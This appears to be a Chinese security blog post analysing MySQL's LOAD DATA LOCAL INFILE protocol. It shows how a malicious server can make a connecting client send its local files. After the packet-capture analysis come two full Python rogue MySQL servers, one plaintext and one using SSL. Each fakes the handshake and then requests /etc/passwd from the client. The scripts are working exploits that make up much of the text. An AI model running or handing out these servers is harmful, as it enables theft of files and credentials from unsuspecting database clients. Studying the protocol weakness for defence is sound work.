mysql本地文件任意读取分析/rogue-mysql(ssl)-server

Mysql存在一个特性,即如果使用LOAD DATE LOCAL INFILE,便可以从连接到数据库的客户端读取一个本地文件并写入数据库指定数据表中。而在这个逻辑中,客户端真正传送哪个文件到数据表中是由服务端发送的数据字段决定的,因此这样的特性很容易构造出一个恶意的mysql服务器从而造成任意客户端连接此服务器之后的任意本地文件读取。

LOAD DATE LOCAL INFILE

创建一个test表并配置好其字段,之后客户端连接mysql服务器,执行以下指令,可以看到/etc/passwd的内容已经被写入test表中。

1
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
load_local_data

为了搞清具体发生了什么,我们通过抓包来详细分析一下mysql的协议内容。

协议分析

高版本的mysql服务器会默认使用ssl加密进行连接,会对我们的抓包造成一定的麻烦,因此可以使用--ssl=disabled来临时取消ssl。根据抓包的结果可以看到,当完成三次握手后,服务端会主动发送greeting报文,内容包括协议、版本、thread id、salt以及服务端支持的配置字段。可以看到有一个字段Can Use LOAD DATA LOCAL表明服务器支持从本地读取文件进数据库。

server_greeting

第二个包则是客户端发起的login request,主要是客户端支持的一些配置属性,登陆用户名,本地系统、加密方式等信息,可以看到这里也有Can Use LOAD DATA LOCAL字段,表名服务器支持本地文件读取的方式。

login_request

之后便是登陆成功的服务端回显,状态为OK,在之后就是mysql客户端连接后默认会发送的服务版本信息获取,用于本地的banner显示。

response_ok query_version

登陆成功之后的数据包便是我们发送的query和服务的response内容,我们可以看到,当请求load local data时,服务端会返回一个response tabular报文,包含了要加载的本地文件路径,客户端根据这个路径获取数据然后进行传输。因此如果我们可以构造恶意的服务器,修改发送的文件名内容,是不是就可以读取本地的任意文件。
query_load_local_data
response_tabular

mysql evil server

如上述提到的流程,我们可以构造一个恶意的mysql服务器,完成认证后,由于客户端默认会发送一个mysql版本查询,此时我们回复他一个请求本地数据的包,即可读取任意的本地文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/local/bin/python
# -*- coding:utf-8 -*-
'''
@author: empty_xl
'''
import socket
def main():
filename = "/etc/passwd"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', 3306))
server.listen(2)
conn, addr = server.accept()
print('connect form: {}'.format(addr))
# send server_greeting
conn.sendall("\x5b\x00\x00" + # len
"\x00" + # packet num
"\x0a" + # protocol
"\x35\x2e\x37\x2e\x33\x35\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x38\x2e\x30\x34\x2e\x31\x00" + # version
"\x04\x00\x00\x00" + # thread ID
"\x6e\x7c\x48\x1b\x6a\x3f\x30\x72\x00" + # salt
"\xff\xf7" + # server cap
"\x08" + # server language
"\x02\x00" + # server status
"\xff\xc1" + # extended server cap
"\x15" + # auth plugin
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # unused
"\x7b\x1d\x2a\x41\x63\x35\x3a\x3f\x3b\x07\x1a\x6b\x00" + #salt
"\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" # auth plugin
)
clien_data = conn.recv(2222)
print('client_data:{}'.format(clien_data))
conn.sendall("\x07\x00\x00" + # len
"\x02" + # packet number
"\x00" + # response code
"\x00\x00\x02\x00\x00\x00")
print("server OK packet")
clien_data = conn.recv(2222)
print('client_data:{}'.format(clien_data))
print("arbitrary file read --> {}".format(filename))
file_payload = '\x0c' + "\x00\x00\x01\xFB" + filename
conn.sendall(file_payload)
clien_data = conn.recv(2222)
print('----------\n{}'.format(clien_data))
conn.close()
if __name__ == '__main__':
main()
mysql_evil_server

mysql evil ssl server

刚我们提到,mysql是支持ssl加密的且高版本默认会使用加密的方式,在我们之前的evil server中我们将switch to ssl after handshake设置为了0,即不使用加密。那么为了伪装的更像点,如何实现一个mysql evil ssl server?首先我们看下正常使用ssl连接的逻辑。如下图可以看到,依旧是服务端的greeting以及客户端的login request,之后开始进行TLS握手阶段进行数据加密。

mysql_ssl_handshake

因此如果我们需要实现一个恶意的支持ssl的mysql服务器,首先是ssl的密钥以及证书。mysql默认会生成一个自签名证书,在/var/lib/mysql/中,或者也可以在/etc/mysql/mysql.conf.d中修改ssl-cert等参数的内容。以下是我们实现的evil-ssl-rogue-mysql-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket, ssl
import binascii
def main():
filename = "/etc/passwd"
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 3306))
server.listen(5)
conn, addr = server.accept()
print('connect form: {}'.format(addr))
print('send mysql server greeting')
# send server_greeting
conn.sendall("\x5b\x00\x00" + # len
"\x00" + # packet num
"\x0a" + # protocol
"\x35\x2e\x37\x2e\x33\x35\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x38\x2e\x30\x34\x2e\x31\x00" + # version
"\x04\x00\x00\x00" + # thread ID
"\x6e\x7c\x48\x1b\x6a\x3f\x30\x72\x00" + # salt
"\xff\xff" + # server cap
"\x08" + # server language
"\x02\x00" + # server status
"\xff\x80" + # extended server cap
"\x15" + # auth plugin
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # unused
"\x7b\x1d\x2a\x41\x63\x35\x3a\x3f\x3b\x07\x1a\x6b\x00" + # salt
"\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
# auth plugin
)
clien_data = conn.recv(4)
print('Recv client data:{}'.format(clien_data))
data = clien_data[:3][::-1]
len = int(binascii.hexlify(data),16)
print('login record length: {}'.format(str(len)))
clien_data = conn.recv(len)
print('Recv client data:{}'.format(clien_data))
ssl_conn = context.wrap_socket(conn, server_side=True)
print('finished ssl handshake')
clien_data = ssl_conn.recv(2222)
print('Recv ssl login data: {}'.format(clien_data))
print("auth okay")
ssl_conn.sendall('\x07\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00')
clien_data = ssl_conn.recv(2222)
print('First mysql query: {}'.format(clien_data))
print("request file")
file_payload = "\x0c\x00\x00\x01\xFB" + filename
ssl_conn.sendall(file_payload)
clien_data = ssl_conn.recv(2222)
print('filedata----------\n{}'.format(clien_data))
ssl_conn.shutdown(socket.SHUT_RDWR)
ssl_conn.close()
conn.close()
if __name__ == '__main__':
main()
mysql_evil_ssl_server